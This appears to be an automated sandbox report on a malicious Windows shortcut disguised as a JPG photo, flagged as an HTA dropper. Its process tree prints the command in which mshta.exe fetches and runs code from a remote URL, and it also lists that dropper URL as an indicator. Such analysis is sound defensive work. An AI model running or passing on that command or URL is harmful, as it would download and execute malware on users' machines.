Analysis

  • max time kernel
    301s
  • max time network
    1218s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG20210911131002.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Radhika-Images/Image7

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG20210911131002.jpg.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Radhika-Images/Image7
      2⤵
      • Blocklisted process makes network request
      • Modifies Internet Explorer settings
      PID:1036

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/792-54-0x000007FEFC471000-0x000007FEFC473000-memory.dmp

    Filesize

    8KB